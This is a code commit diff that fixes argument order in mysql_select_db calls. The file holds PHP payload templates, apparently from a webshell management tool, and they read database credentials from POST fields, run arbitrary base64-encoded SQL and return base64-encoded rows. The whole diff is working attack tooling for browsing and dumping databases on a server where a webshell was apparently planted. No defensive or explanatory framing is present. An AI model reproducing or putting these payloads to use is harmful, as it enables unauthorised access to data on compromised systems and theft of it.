modify select_db parameter

修正 select_db 参数位置

source/core/php/template/database/mysql.jsx

@@ -24,7 +24,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
   // 显示表字段
   show_columns: {
     _:
-      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];$T=@mysql_connect($hst,$usr,$pwd);@mysql_select_db($T, $dbn);$q=@mysql_query("SHOW COLUMNS FROM \`{$tab}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0])." (".$rs[1].")".chr(9));}@mysql_close($T);`,
+      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];$T=@mysql_connect($hst,$usr,$pwd);@mysql_select_db( $dbn, $T);$q=@mysql_query("SHOW COLUMNS FROM \`{$tab}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0])." (".$rs[1].")".chr(9));}@mysql_close($T);`,
     [arg1]: '#{host}',
     [arg2]: '#{user}',
     [arg3]: '#{passwd}',
@@ -34,7 +34,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
   // 执行SQL语句
   query: {
     _:
-      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=@mysql_connect($hst,$usr,$pwd);@mysql_query("SET NAMES ${arg6}");@mysql_select_db($T,$dbn);$q=@mysql_query($sql);$i=0;while($col=@mysql_fetch_field($q)){echo($col->name."\t|\t");$i++;}echo("\r\n");while($rs=@mysql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo("\t|\t");}echo("\r\n");}@mysql_close($T);`,
+      `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=@mysql_connect($hst,$usr,$pwd);@mysql_query("SET NAMES ${arg6}");@mysql_select_db($dbn, $T);$q=@mysql_query($sql);$i=0;while($col=@mysql_fetch_field($q)){echo($col->name."\t|\t");$i++;}echo("\r\n");while($rs=@mysql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo("\t|\t");}echo("\r\n");}@mysql_close($T);`,
     [arg1]: '#{host}',
     [arg2]: '#{user}',
     [arg3]: '#{passwd}',